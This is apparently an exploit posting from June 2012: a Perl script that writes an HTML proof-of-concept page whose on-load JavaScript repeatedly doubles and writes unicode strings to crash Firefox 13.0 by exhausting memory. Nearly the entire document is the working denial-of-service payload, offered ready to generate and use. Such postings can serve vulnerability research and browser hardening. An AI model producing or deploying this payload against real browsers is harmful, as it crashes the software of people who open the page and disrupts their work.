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Mozilla Firefox Web Browser 13.0 Remote Denial Of Service

Posted on 14 June 2012

#!/usr/bin/perl
# Mozilla Firefox Web Browser 13.0 Remote Denial-of-service Exploit Proof
of Concept
# Author: Ucha Gobejishvili

use Term::ANSIColor qw(:constants);

open FH, ">poc.html";

print FH "<html>
<title>Hello World!</title>
<head>
<script>
function boom()
{

var longunistring1 = unescape('%u4141%u4141');
var longunistring2 = unescape('%u4242%u4242');
var longunistring3 = unescape('%u4343%u4343');
var longunistring4 = unescape('%u4444%u4444');

for(i=0; i <= 60 ; ++i)
{
longunistring1+=longunistring1;
longunistring2+=longunistring2;
longunistring3+=longunistring3;
longunistring4+=longunistring4;
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
}
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
}
</script>
</head>
<body onLoad='boom()'>
<H1> Working! </h1>
</body>
</html> 
";
close FH;

print RED, "POC Created.";

print " 
";

exit;

 

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